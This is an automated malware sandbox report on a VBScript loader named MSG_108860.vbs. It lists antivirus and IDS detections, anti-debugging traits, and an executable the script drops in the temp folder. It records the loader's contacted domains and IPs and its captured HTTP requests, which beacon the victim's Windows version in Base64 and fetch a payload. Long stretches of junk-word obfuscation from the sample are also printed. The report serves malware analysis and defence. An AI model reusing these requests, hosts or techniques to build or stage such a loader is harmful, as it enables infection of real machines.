MSG_108860.vbs
This report is generated from a file or URL submitted to this webservice on March 6th 2020 18:25:45 (UTC)
Guest System: Windows 7 32 bit, Professional, 6.1 (build 7601), Service Pack 1
Report generated by
Falcon Sandbox v8.30 © Hybrid Analysis
Incident Response
Risk Assessment
- Network Behavior
- Contacts 3 domains and 2 hosts. View all details
MITRE ATT&CK™ Techniques Detection
Additional Context
Related Sandbox Artifacts
- Associated SHA256s
- 196200d17d451d002599d8ba80f545dd959a9b3dc5925c94e26c014d3e7ab431
Indicators
Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.
-
Malicious Indicators 4
-
External Systems
-
Detected Suricata Alert
- details
- Detected alert "ETPRO MALWARE Unk.VBSLoader Retrieving Payload" (SID: 2841137, Rev: 1, Severity: 1) categorized as "A Network Trojan was detected" (PUA/PUP/Adware)
- source
- Suricata Alerts
- relevance
- 10/10
-
Sample was identified as malicious by at least one Antivirus engine
- details
- 4/59 Antivirus vendors marked sample as malicious (6% detection rate)
- source
- External System
- relevance
- 8/10
-
Detected Suricata Alert
-
Unusual Characteristics
-
References suspicious system modules
- details
-
"epistemonical unvolatilised Pro-american nuisome alsoon sceptrosophy thudded worshippingly oldfangledness digressions guillochee Camaxtli sulcalization Elsass unwoful meroistic retie ninth-class cerotin apport mourningly tongsmen Ready Kankakee CBE saccharometer unleaguer somatome censerless blighties metapsychical pauperising supervigilant Pentheas whiley Cyphomandra shaders resorbent Ageratum caskanet blennadenitis lady-smock untoughly radiotelephony abstersive scenting supperward Krasnoff onychophyma orchiodynia monacanthine gourdhead Adali ripely sambhars within-named Albina outluster sheddable bogyism unproficiently tussles prestigious wagons milord pycnonotine spooned Mosasauri Crewe chummery Jodhpurs funerate minitrain semisentimentalized full-brained detractingly Burk Alonso terminuses benzothiazole congratulator worriedly trauma Zululand experts Volantis voluminously botulinal prebreathe flinch unvisored subprincipal cirsomphalos Elton Elenore indications saltiness Mary Rouzerville unimaginative ove"
"ographer vasu camphoronic denumerantive ammoniacs tetradecapod Amberson celioparacentesis Haag cranioclasis Navasota forcipation sandstone rhamnal seroprotease arrow-root Hydrid Selle Nicodemite inobservation badigeon peculiarizing Diane resterilizing observingly outweighed thirt blancard supersubstantially portcullised now-known triform Corella AFCAC nondefunct superspecializing endeavourer piercarlo nonpardoning well-iced radicalization fidei-commissum coelodont radicalized Pan-christian parcel-gilding misadapts new-begotten thawiest woodcracker simbling postfact stigmatise phylacteric phantasmagories rufous-haired gratified bentonite morphiomaniac uncompatibly unimprovement Figge Afenil hr- clumpiest larderer undernim pulijan Elsass-Lothringen shazam cognizances gaberdines Kassia dioecisms haploses cracklings dramaturgist superclean curb-sending bioelectronics anovulatory better-born securable aked ophthalmoscopic salicylism coherency keeker amlacra zoosporous superelegant Anemopsis seasons parakeratosis s" - source
- File/Memory
- relevance
- 5/10
- ATT&CK ID
- T1215 (Show technique in the MITRE ATT&CK™ matrix)
-
References suspicious system modules
-
Hiding 1 Malicious Indicators
- All indicators are available only in the private webservice or standalone version
-
Suspicious Indicators 4
-
Anti-Reverse Engineering
-
Possibly checks for known debuggers/analysis tools
- details
-
"ad antiquary well-consoled nicknacks mutining smitten turps frondous Pro-cymric unluckful Jacobin consumptively lgth. dragbar orejon physocele cromorna Novocaine procanal cognate faith-keeping atomics dairywoman intercentra unspurned unlonely star-bespotted novate immunotherapies boose unmensurable researchers assuror nonphonemic petaline Octocoralla VSO epicarp Berry Via Strang overmultiplying gracefulness delayed duncifying aster papulated outromancing Friede Edwall phaneromerous leaden-skulled isuroid exemplifying defenestrates trichinous Inermi butt-stock Yadava CSB supportively Anuradhapura baker-leg pardonably abaxial Testacea undercooled breeziest Stellite fayalites slag-lead Asterella accrues cod-smack ledgers khanjee myria- clean-complexioned Kediri copulative ultraepiscopal unagglomerative USNAS damnable linalyl redisplaying liticontestation dedicatory Idotheidae estheses overproving aspheric orchialgia barebacked apprenticement resounding stupefactiveness uncategorized blockheadishness tripudiant u" (Indicator: "ntice")
"duodecimally Adelarthrosomata Franconia vaginotome smokiest datakit tangilin amber-headed blunt-nosed consultively antelabium bicolor orchestric Vallo undestructively twice-worn subsensually teihte Cantacuzene ambidextral Freyja Christiansburg anticeremonially EMPRESS ovoid princeling joy-ride adhamant unwakeful Bud twelve-stone overmarch non-claim semisentient perukery abolitionizing Pohjola worst-ruled cachucho kobellite contemplating pique fungals punctualities debar unulcerousness devisals esplanades Shadai Urbai Coxey swordbearer talliers Emesidae cryptorchism nighly reverer sarcous unspeciousness coin-controlled whops sestinas red-litten craking unjogging wax-stitched spell-bind copunctal false-face intransigency Non-turkish duress fork-shaped stagnant-souled unrotten someone supersonics whispers vocoders kulimit lakatoi hymenophyllaceous constituents self-definition Psilophyton unsulliedly scarce-covered bristling mispoise osmoscope prelatize asterisks ludicrosity Arlee devil-like clodlet frailes conce" (Indicator: "ntice")
"well-roped poleman damning Pauli guarachas ostreicultural brollies well-read snow-winged subelement Cutiterebra mercaptopurine Salmanazar buckwagon self-assertiveness cork-boring nonconsumptiveness street-bred arithmomancy polymere tittuped obtruncation chattily placater Christmann outrunning paseos tertial atrible polydactylism missung bejig scapulo- insecurities Ewens arrestors safflow Clydesdale quasi-crafty unmental hed nonfeasibility raki prelaty setline loaf-sugar Peder Caquet lactoside LLB chlorocarbonate wilter Carniola entreasured glomerate phaenomenal impinguate demisable platyrrhinism rain-bright nitriary Stillas meteorical slash-sawing troopship supplications starved unbating wildering coiffe unmodernize Dammara Whitefoot brachyuranic tactician noneconomically Gautier peignoir Simdars potteen choroidal panglessly tetrasporangium remargin gymnemic metasomatic seignorize Derbies death-deep paederastically biacetyls azovernine cowhearted nontelegraphic preinclude anticensoriously tirralirra marginal" (Indicator: "ntice")
"ng trop- somniferous agglutogenic outbuilding yilt detectors iffiness nomo- shriving quasars scrapings betaken muzzle-loader kitsch riant antinucleons almond-furnace Japonic muscle-bound complexes Siclari purin unrepentingly tablina outbullied Anglistics uppropping Meriwether peloruses cats-cradle tubulously binnacle algolagnic dossers Bloxberg substituted halfblood star-eyed soft-breathed genetic qualifiedness smartens ponderal anticentralist desperately hypnogenetic bellowsman nonlugubriousness switchtail golden-banded tarairi sapsuck subitaneous riotise Beaverboard reenabled offensive thiofurane countermigration quantization rachitogenic Hypericaceae barotraumas homarine sodaless stoep chondrodystrophy crunode scalogram Pattonsburg nortriptyline unsoundest dun-brown self-making SKU ectomeric rubrific Lessard chromogram hypophysectomy truantness Potawatomi misaventeur velites muffishness guigne unhonorably wadge gleary tideful Kermie circumvallated ponderable a-simmer huzzahing Leipsic formfeeds waterbelly" (Indicator: "ntice")
"ance afforcement furious-faced terns ganof launchings farmership verre satyashodak vag subversive spairge assertum Scytopetalaceae uncircumvented diaplasis ballywrack undismayedly untubbed stat hard-minded sidewheeler overdisciplining Sphoeroides burgraviate panimmunity arsenfast epideistic disillusionments raggedly star-fed slangs Sivaite vindicators hyperenthusiastically excogitating unpresumptuously sublimator oppugn impersonates scriptorial screw-back sortilegi punctulate Popsicle Giglio adieus roentgenometries wheeze accoutrements unsuggestiveness Tapajos antecoxal pluviographical sweet-singing Aphoruridae rostrally Arthaud odiumproof acclinate Brathwaite cardipericarditis Biometrika cumberment squattily dispreading microfibrillar parsecs Hollywoodite ponderomotive aesthesia Grantsdale mechanotherapeutic goofball Neanderthaloid unanatomisable Rhopalura nonadverbially jayant quasi-helpfully world-censured wainbote annelidian enticeful Schizaea nonreversion doodab vouchered pelmatozoan dumpies alexiterical" (Indicator: "ntice")
"latinos GIs nonproportionable primordiate hant electrotheraputically coldish reawoken superpatriotically subcoat Aldermaston dentelure MSOrNHort jailage unsubsiding subentitle dematiaceous Maice aspiringly allopatric siderographist Brahmaness conred pepper-castor Pedrell pyosepticemic ultra- unenticed tuberculatogibbous quelquechose padge homaloid lap-love princeage seizure yak-yak predispute phasemy cowgirls Portulaca apparels binmen cloakmaking worldwide isophyllous intermolecular fugaciousness Wilhelm Roderick electrolyser sheep-grazing Manvel acylation cheniller tick-tack-toe challenged nonbituminous ecumene square-based tear-reviving biopsychological vacationed slosh bridlewise catalexis outskill Aviculidae Suslov obtrusivenesses quasi-invisible unleagued longans CV Grecism macadamizing icosasemic postvenereal Charonian Arona DChE heavenwardly syll scatomancy springlock panclastite
OoLNxPatdjvYxWfSJAUuzQfpkTHxoxk=Sgn(ufGhLJxlnrjXbmvpOrDxrUtqY)'melancholomaniac PCTS Fushun Hadlock gooney romanticization" (Indicator: "ntice")
"ated prebreakfast Charles jungliest unwarrant ervenholder annection aiding Maratism stagskin outstander tupuna cuttingly ALM spademen unserrate ponticellos weave agrostologist lymphographic shivereens mumness forlore Asterales synop chinnam engineery Aldenville aurated swankest anthropogony eldrich ohv pre-expeditionary smilacaceous parvenudom will-willet redisinfect sheaves wreath-festooned alopecoid remaindermen aul hepatolenticular amazer humous alphas temper rhesuses sanctities phoney unsmokily dactyliography reinserting illiterately unsurprise fubbery octennially Emydidae feelers quasi-responsibly padding mesorrhine prittle-prattle wood-queest Tritoness drumheads preindisposed noncosmopolitism thioantimonate taillight myocoelom unrural unadapt world-contrasting top-boot scandalous Meldrim unsolders alismaceous Ilsa Heraclitism gold-plated Megaris resolvers sociosexual witlessly phytophenology spriggy genette overemphatical noncopying foretokened squamopetrosal butyraldehyde philomystic grosso unfoolishne" (Indicator: "ntice")
"ss agglomeration overneglectful Finney halfnesses Nemertina creekside shortages cholecystalgia pinpointed mare-rode radiary antialien nonelucidating buckskins jiggumbob plantlike self-admiring Dindymene rotguts acclimated Pro-bonapartist cross-interrogatory Okauchee hungriest nonsentence literalistically Arabian Pyrrhonize Neuchtel Scotties siltier caveae Tlepolemus limpiness wornil arpeggios Bird bulter unrigging sleep-resisting scutellarin Beauford carburiser capcase Phthirius Minter gonef escribing goupin menfolks tender-natured jollity instrumented Siena to-do Vietcong platinums cornbell finos disprince fraudulence mandritta meritlessness titrated microstome assoria tughrik gunky propositi shingly Dibai cliquiest twice-exiled Thripidae eye-casting oxybenzaldehyde Aleras enticements unfolder brands adipsia CSP undergraduatish uprend reactionariness Cotys protutory Ludly phytosaur archknave pretranscription pillarlike quadricentennial Ullund bingeys pea-flower LH Kyra quotas scroll-cut counterdistinguish co" (Indicator: "ntice")
"aist-slip whirlimagig Prentice tempestuousness tickling realter McReynolds fletchers nongenealogically glucagons gunrooms unroosted sea-lane hichu parathyroprivic vassalism stone-lined credencive Rexville vespertilian mirexes nonseasonable unillustrated heteroploid dreche Narbonne pullings Brnaby Zoffany sidetrack whils trimucronatus Dahlgren baals inobtrusive agnostics ostsis panicking large-natured othematoma nodical kevils turfiest JFMIP Leptophis clinohedrite catastrophes deep-reaching lunchroom hyalinization half-harvested subradiancy fraken viridarium hemidiapente embowelled banc Cryptophagidae sheepshed proclivitys dolling uncontemptuously hyacinthine doment autochthons connusable unossifying Erie palliasse sweven nightdress turfier muslinet helloing hert tileways rheophil carbure unremarried quelled impavidly movably Hackleburg Hasmonaean polysyndetic myrcene lickspits bancus californite racemiferous imputation exoarteritis size leftists Bowmansdale mudcapped UDI rhipipteran kirschwasser premedievalis" (Indicator: "ntice")
"skinned parritch seacoast suboxidation anticensoriously menacing flabbinesses echini orthopaedically cyniatria sonlike presa anterospinal topiaria prismoid scattergrams inquisitorialness rakeage luncheons diagnoseable psilology Anisostichus reattaining errs sheep-witted koppite misadjudicated close-compacted ascogone hepatauxe dormy nonpatented Hymettic unhumanize malefactors elephanta sortal trophospongia subtribe sassy brightish urbanizes trellis-framed unmultiplicative surgeries preadvertising uletic cordonazos ratsbanes susurrate smelts epitomization Reziwood EAS Sunyata foreadapt redimension curveted siphunculated confiscations unliving whatsis moonshiners Salvadoran Crispen synergize highways dasein nonregeneratively prestissimo sneller Cynognathus impetratory phytomera templelike masticator unstablished pomposity sheppick hash cynotherapy regrating undertake coolths remaindership reimpel ashtrays LOTS Firbank broderer recrowd outmaneuver snob Cambrai sarcelle taupou septulate gloomiest auxoamylase subi" (Indicator: "ntice")
"er brown-nosed neck-fast antrustion earthly-mindedness coreign Edward warl imbosomed redound honeydrop invertedly overexuberance plum-purple predisputation pinnatiped saberproof tawdries obumbration achievable world-kindling conspiratorial unlax Thondrakians forthset predeciding quadricone lifeholder arbalo smashed photolithoprint copihue Lafox fore-exercise enforcible Christiansen tear-embarrassed diagram underadjustment postero- canamo 'rough-stemmed laxer unnegotiable vascula greeks acaulous biocatalytic lacinesses outpraying Maidy pachycephalous litation hoary hethen bajada melancholia glycolipin Dingess foetalization coronaries anticeremoniousness irian overspeedy carburets ossein unmythically Nightingale taikun wickless Gove mads decolorise clap subconstellation kidlike reliquary ullagone Nereidae tropicalising defecate Lifar minuend tricklier week-long fieldstrip balneologist Ijamsville Gniezno large-stomached two-floor Kohl Hoylake colous isles Clausius bamming Rosalia monotheisms completories omnireg" (Indicator: "ntice")
"rld-traveler Winthrop bugology sulfarsenide overpoliced lapins chin-deep Agnotozoic carpoptosia ergotaminine waste-paper sepaline deforce pastourelle perhydrogenize unlanguaged heptahydrate antireticular gallant draftsperson Roris supplicationer millicron pigeonberry biharmonic atom-rocket leviable bights hoarier quarrier neckband insinking sepaline ghess serofibrous baldrics crossbarring padauks pudent recolonization snakeproof squshy virucide psychotherapeutic Docetic Pan-Slavism brachyuran flambeed subconsciousnesses activation miscuts Pawpaw wergeld quintain mid-week theologist Simpelius blastocoele oversecurity intercrescence subsizarship millimicra bioactivities quinas nonponderous holoquinonoid Nel thinkings neighborly back-stitch Platanus bullamacow passimeter hula Ille-et-Vilaine weatherman nonfraudulent snifted almswomen copper-lined speluncar larvivorous treenails Jerman front-connected superfamilies seniors redemptions to-rights persistiveness Eliseo anisamide apprentices PRTC Papio laterad afterf" (Indicator: "ntice")
"Toronto unomitted all-appointing microcosmically take-down Nordicism topmost squaddy sepalody superrespectableness twelve-acre isochronical seesee unsegmented telangiectatic Tabor paraded hohl-flute vireonine reconvicted airting establismentarianism proctoring Platter emulatory dystrophia penwomanship 'unharming individuates blackfigured Tamaricaceae afternose Urocoptidae preempts pastern humicubation unruledly khedivate adonized copperheads Bodmin subflexuous pheasantry hagiocracies diffugient Matazzoni remembering bootleger somnifacient ascaridol subduingly sprightlily foreseason lachryma dulcian philanthropize fragrantness gauchos Muslems sageness kirigami undreamlike cirrocumulous embryulcuses loggats yellowbill industries Eglanteen rainmaking archsynagogue compunctions lithochromatics smogs tourmalinization bourr launch McCabe tetract appentice Bajadero specificize vivisectionist ophidologist gruppetto feverously dorsel acanonical embryulcus punctal paradoxal postsphenoidal far-flashing inconcinnity phot" (Indicator: "ntice")
"haunch-bone hoddin grille Istria truncature Goniopholidae zitzit phenylthiocarbamide Trans-siberian vestmentary disconform hemitropism incapacious tinlet chairmaned dullards Weigle paleo- ecdysial Mangar Un-babylonian nagnail muchacho overfeminine untransitive tangent-saw up-see-daisy Luebbering facesheets prentices dividedness daphni antelocation prahm troutiest fluoridization hulling lidding Kikongo Massalian imam slouching triphyllous trans. scalet mesonephroi ethane creamware beauty-fruit exploited bushy-legged pharmacosiderite wareful dew-dripped chreotechnics untz redshank cageot teloi BERT disassent legalist synapsing caoba puerpera corporations hillsale unroaded lalaqui appalment rhizogen AWG hers ultratechnical revoltress nonelastically fluxionary quodlibetz computably turret-shaped airlessly overreach Temp cig aspersors athrive depreciation fluxer mawsie naggingness reignites OAPC Silicoflagellata scruffiness zoonic ratton Kingfisher unweaken OMPF rantan scazontic sash cromfordite Hardwicke structur" (Indicator: "ntice")
"ceup unsulfureous Kila embrittling powsowdy Fawnskin cattaloes well-burnished prevenant dermatropic millennialist Zilvia window-rattling metalising perishability Duveneck Phareodus Benevento misspell advocacy sourpusses eczema cagmag macrodactyl simple-hearted anti-Europe molybdate warblet electrocystoscope two-horned geeks topia mumruffin mackled yachtswoman Lee-Metford Erysibe diaclasite understride circular-knit auricyanide apholate privations friendlily anticephalalgic therapeusis proflated regimentaled Greeley misfeasance tube-fed interiorist Cut longulite statfarad ropebark well-allotted yellowbird knottily peristerophily docentship Orientalogy cml. bereaving mornings proselytes refloated Esau Davidson transpirative neologistical bridelope counteractor LCA well-flooded hydrolyzate all-discerning recleansing blown-mold daverdy Zidkijah loamy gantelope pantalooned keraci gentianella overinsistencies nonpoor caving woolwinder Zoara vanity aerobranchiate Culdesac melancholomaniac Minyae frouncing Fourierism" (Indicator: "ntice")
"hapman privateersman thievish skunkdom bulbil hydrosalpinx metallurgically Newchwang arithmo- Scansores mogulship minicab sulphapyrazine sceptrosophy nonconjunctive gemonies scandium semiautomatics pseudocapitulum reimpregnated goggling Philistia masker face-about tapery Petioliventres splenetive antimetabole collossians self-permission subcrust previsors noggs retinning locator expediences multicelled fanit neuropathies protomorph prunelles uroglaucin Moluccella confiserie libanophorous amphitheatrical Fars epicenter bandura untrailered overconscious nonroutine medicably herniotome dolerophanite LOOM visitant nonincrusting goody-goodyness deem Lorius glitzes Chartism blennorrhagia pedlaries wealths urethylane upbrighten stenchy impermeabilize milkfishes bonfires whoopla ten-bore eulogising deuzan figurism prized hundred-pound whiteroot doggies resistable overtones supergaiety bruja hemocytotripsis atlantodidymus Domingo bartletts prentice henad tent-sheltered fibrination bowermaiden myelographically antipapa" (Indicator: "ntice")
"nate unmysticising subgeometric semimetaphoric Anglo-asiatic ploy flipe Conopidae Krummholz obfuscates jabberwockian Tillodontidae dirled Dipladenia continuo Eudo Cephalosporium sensomobility Elzevir timeliest taxonomer doorstop joy-rode Lokayatika jitterbug insouls sponge-footed dioecisms Spinozist thowless idle schola lipemia urolutein plutoniums scorned unwarped yerba chairladies Post-lafayette Catto intersalute clarinets jackeroos mousily elegiacally remolade CABS ethico- lenticel frustrately censorships Euproctis dobchick harshen subassembler postexistency so-and-sos fluty Camaldule tipree Willene Shan unceasable short-quartered casually Alhena mixt setting-free afore-acted Thurlow silkiest underbody sneest pipier kinepox Valhalla windowlight plasmocyte superexquisiteness lumbocolotomy cerci gliadin swabberly metrification hold-all relevation sober-eyed prosacral spur-driven mazopathia confustication unearth PMX Podostemonaceae unhobbling glessite glazings polypomorphic fagins unnumberably mythoclast rep" (Indicator: "ntice")
"permease Aldan flouncy pukeko sweet-lipped apostemate Gaulic slouchingly cranially Khoumaini desalinator rumps predispose kilopound unstabilised preferably atwist socketed aghastness submissions hydramide chevesaile cretinizing scarlet-barred anticeremoniousness Totonac Merry reyield toadpipes uveal outweary unspontaneous irascent Weidar Bayless inspirationalism unceded tachophobia Brunnhilde harbingery oysterish innately fiducially blowie decentres asynartete liquidizing tiz-woz convergences flex Wooton concipient wheel-turning Aryo-indian Clive worldquake bacteriaceous halfback progressist shrill-toned unneedful proventricule neuromimesis synanthesis redly stomach-soothing Denbrook zonality Letrice Tyumen piscinity multilateral heart-burdened euphemous egregiousness naturalisms carbazylic sheaves inexplicitly menus foible molding biguttate reformistic troparia nonlethargically Bug Maurizio fleuronne prefinanced forecasted jecorin misbestowed prudentialness honey-secreting gaudful camla parcel-carrying dog-" (Indicator: "ntice")
"zed Krylon norwest scarlets autacoid erotopath snoozled unignorant haemorrhoid Acerates subbreed palmatiparted tric-trac shide insitiency rattoons tanghinin officerless Go-no-further ogreism electrotheraputic destruction endochorionic salvianin mealtime untrainedness cinchonicin brassworks ablewhackets corsets caama carbamine pre-Dantean dunkadoo telos Juanadiaz unwearily processual hydropneumatic line-haul Rollinia Cerianthidae jinshang compressed red-backed defade spadonic misadaptation prevocalic reinvokes chiplet parliamenter boomers conditorium Nashwauk epulis well-prolonged unquashed revellent phenomenalize Hovey Kosciusko foolish-looking saponins esterify stookie fleecier Hurstmonceux candlelights amitosis dithion coccosphere stingers acidhead loosely unhandsomeness overlaid Stephensburg reoutrage sliest cholecyanine transept sculpsit tensorial unorbital Willits anticeremonialist unsombrely prodigiously yeuks deckle-edged replaces dentate beeth mincingly salutationless Wolffian outpraising oreides trad" (Indicator: "ntice")
"tcrowd incense Sepiidae riding transanimate promontories preinaugural unjaded forwear plectopteran pitiless overbow enunciative ceratoblast tintie Dorette landsknecht fistulous antiknocks pharyngopalatine nonjurors spleenfully Seahurst gynecoid rewwove sandiest guttier preexempt dispope bushwhacker abler dysrhythmia rume scattered circuits bewrayed tetrabasic lackbrainedness desorb shoveller calcitestaceous promazine vargueno haemal stann- single-leaf ricebird hawkbills Denticeti mongolians soddies whistles Seagram well-commenced kangri solicits Imbler Chatwin jealousness trusty heteroproteide Menic Yank embolisms Choate thermals bevors fugatos intitule Cloris schmelzes Bydgoszcz metanoia apothecial Mesosauria indicatory zinkiferous rondeau whistly quasi-blindly miscanonize tapirine Atat Lemar hydrocollidine balled starchly Sophistry metopomancy twin-tractor Tatiania Redhook ecclesiastry corsac palaeofauna sheargrass operatize scolder dinitro- preclose back-door crematoriria iron-sick Hoffmannist desilverized" (Indicator: "ntice") - source
- File/Memory
- relevance
- 2/10
-
Possibly checks for known debuggers/analysis tools
-
Installation/Persistance
-
Executes a visual basic script
- details
- Process "wscript.exe" with commandline ""C:\MSG_108860.vbs"" (Show Process)
- source
- Monitored Target
- relevance
- 10/10
-
Loads the task scheduler COM API
- details
-
"wscript.exe" loaded module "%WINDIR%\System32\taskschd.dll" at 73C90000
"wscript.exe" loaded module "%WINDIR%\System32\taskschd.dll" at 01490000 - source
- Loaded Module
- relevance
- 5/10
- ATT&CK ID
- T1168 (Show technique in the MITRE ATT&CK™ matrix)
-
Executes a visual basic script
-
Network Related
-
Sends traffic on typical HTTP outbound port, but without HTTP header
- details
-
TCP traffic to 62.2.203.93 on port 80 is sent without HTTP header
TCP traffic to 46.31.145.210 on port 80 is sent without HTTP header - source
- Network Traffic
- relevance
- 5/10
-
Sends traffic on typical HTTP outbound port, but without HTTP header
-
Informative 12
-
Anti-Reverse Engineering
-
Creates guarded memory regions (anti-debugging trick to avoid memory dumping)
- details
- "wscript.exe" is allocating memory with PAGE_GUARD access rights
- source
- API Call
- relevance
- 10/10
-
Creates guarded memory regions (anti-debugging trick to avoid memory dumping)
-
General
-
Contacts domains
- details
-
"a-o-concepts.ch"
"www.a-o-concepts.ch"
"regennew.projevideo.com" - source
- Network Traffic
- relevance
- 1/10
-
Contacts server
- details
-
"62.2.203.93:80"
"46.31.145.210:80" - source
- Network Traffic
- relevance
- 1/10
-
Creates a writable file in a temporary directory
- details
- "wscript.exe" created file "%TEMP%\TableOfColors.exe"
- source
- API Call
- relevance
- 1/10
-
Loads the .NET runtime environment
- details
- "wscript.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_32\mscorlib\9f895c66454577eff9c77442d0c84f71\mscorlib.ni.dll" at 68610000
- source
- Loaded Module
-
Logged script engine calls
- details
-
"wscript.exe" called "Msxml2.DOMDocument.3.0.CreateObject" ...
"wscript.exe" called "ADODB.Stream.6.0.CreateObject" ...
"wscript.exe" called "WScript.Shell.1.CreateObject" ... - source
- API Call
- relevance
- 10/10
-
Contacts domains
-
Installation/Persistance
-
Opens the MountPointManager (often used to detect additional infection locations)
- details
- "wscript.exe" opened "\Device\MountPointManager"
- source
- API Call
- relevance
- 5/10
-
Touches files in the Windows directory
- details
-
"wscript.exe" touched file "%WINDIR%\System32\en-US\KernelBase.dll.mui"
"wscript.exe" touched file "C:\Windows\System32\msxml3r.dll"
"wscript.exe" touched file "C:\Windows\System32\wshom.ocx"
"wscript.exe" touched file "C:\Windows\System32\stdole2.tlb"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll"
"wscript.exe" touched file "C:\Windows\System32\WScript.exe.config"
"wscript.exe" touched file "C:\Windows\System32\wscript.exe"
"wscript.exe" touched file "C:\Windows\System32\en-US\wscript.exe.mui"
"wscript.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls"
"wscript.exe" touched file "C:\Windows\System32\rsaenh.dll"
"wscript.exe" touched file "C:\Windows\System32\msxml6r.dll" - source
- API Call
- relevance
- 7/10
-
Opens the MountPointManager (often used to detect additional infection locations)
-
Network Related
-
Found potential URL in binary/memory
- details
-
Heuristic match: "a-o-concepts.ch"
Heuristic match: "GET /wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: FoxKids
Host: a-o-concepts.ch"
Pattern match: "www.a-o-concepts.ch"
Heuristic match: "regennew.projevideo.com"
Heuristic match: "GET /wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: FoxKids
Host: regennew.projevid" - source
- File/Memory
- relevance
- 10/10
-
HTTP request contains Base64 encoded artifacts
- details
- "Microsoft Windows 7 Professional "
- source
- Network Traffic
- relevance
- 7/10
- ATT&CK ID
- T1132 (Show technique in the MITRE ATT&CK™ matrix)
-
Found potential URL in binary/memory
-
Spyware/Information Retrieval
-
Found a reference to a known community page
- details
-
"pest-bearing snowy-countenanced culverin aceology dandify neuroanatomy veterans kickseys meadow-sweet snottery airsheet bachelorly bromacetone hemostasia thunder-storm ensamples Unionism boskiest nonsupportability blackcoat idahoans babes psocid repoussage parapsychologists ureterorrhaphy skinners trimnesses sacrilegiously magnetohydrodynamic crystallizing leaderette woodcrafts drudged kinah Brackenridge anthologically reefed publice HOTOL illeck zaffre genettes sermonet hobbledehoy Slavonization freckly daised stupp rib inexpugnableness johnnydom irrepassable soldieries presleep auxometer graine cudgelling eluvia factabling localled putrefacient cowslip crantara Ebeye twittering bushgrass outlove Pamir Traguloidea armour-plate improvises Hypnaceae trullisatios eschewing Aloxite photoradio Pegram jasmines zoomorphs counterstain Hauger tsooris quasi-popular monoamine bigmitt lighthearted nanigo lengthy septupling creditors externalised well-enlightened Phillis nereidous enkindling chicken Mammillaria Serajevo" (Indicator: "twitter")
"doublecrossed manifesto limeade agouti praezygapophysis unvirginal romantico-heroic extending ruffle-headed unconcealably Anti-venizelist garlanding subconsciously Guise tearlessly practical-minded unshirking wanton prespurred blood-filled isthmist cablese arrhythmic degami scoured cogger duellize appredicate thick-fleeced Monera Gadite naphthoxide wherry cardiomyomalacia photojournalists silksman cyanuramide Angami-naga meroistic unexcitability Tirunelveli slickers Atoxyl pursing oxyphonia rodeos theologics villageress debeige Cavour scienter Charta high-tail brewages table-shaped Brenn Jeane spice bahar pumice-stone microangstrom tariff-bound twitteringly bifocals Callippus widgie Preuss comminator death-divided interdorsal colibert carbanil lay-on taxlessness arcsine alfiona Tartarize helico- 'workbenchs prelection inevitably unsleeping unconditionality geitonogamy hullabaloos antinicotine bedark enmove munite diaspirin heloma Morral sempstrywork wreck-raising chogak Pinkham dwellings tapetal macular canau" (Indicator: "twitter")
"arinize disassociable diageotropic gauffering untantalized twittery Greco-oriental undiphthongize memberships intrusted damndest postventral Allyson ship-minded wrestling white-hoofed Tuscarora Brahma polymorphonucleate centromere syncopative missaid detonability Waki half-starved sparoids gonystylaceous nonstatistic sculpturation souvenir smout Marlowe merely Buke antinatural deflex piecing gallivant reconvoke bronchocele superanal apotihecal weakness Junkerism carbonisable zoosporangial bloodstock aspiringly pawner sonant fleecers orgament unwalking Fusicladium strictness vagarisome tripartible ektenes haraucana aperiodically univoltine dicier strong-tempered hump-shaped GUS amberiferous Economite nates tangental fetlock kulaki culverkeys Orel trachyte opacimeter croup Melchora cobnut kirker slang-whang linear-lanceolate urethrotome Mapleville revolters trackingscout chairmanships reexplicating rhizophyte subdivecious buat gabardine stomach-formed afterage Lederach Doblin disturbation redilating DBME clamou" (Indicator: "twitter")
"nterreign Moyock Barabbas spignel punctum Rosholt entailing peridesm hurden ciderkin Docetist supervene stumblers semirelief capeskin dambose moun schlock battalias satrapal foolhardiest nonveracious pinwing Bancroft chadacryst sauceless epigrammatised punishments wary-looking hatchetfishes pannade Loftis cephalosome demilitarisation wabs purfler dwindlement refractometer Semaleus apigenin dendrochronologist propraetorial deviation gastradenitis brigand riverhood Meredosia accompanying acridic electrooptically moity tinklier twice-whipped trappiness not-being retrocognition pupping Vins galvanoscope woodwork lacinulate waterlike agoramania kiters surprizes Pauling esugarization twitter outwwoven bench-warmer papicolist three-horse Berstine carcinosis pronging ortet umm daubed co-operation hepatoumbilical mis-sheathed heterolith Aldwon harboring imitate dustermen celiosalpingectomy medianimic chainlike MSEnt emeritus Achaian sugis balustered phagomania kiln-drying perseite ultramicro quasi-gallantly soul-sappi" (Indicator: "twitter")
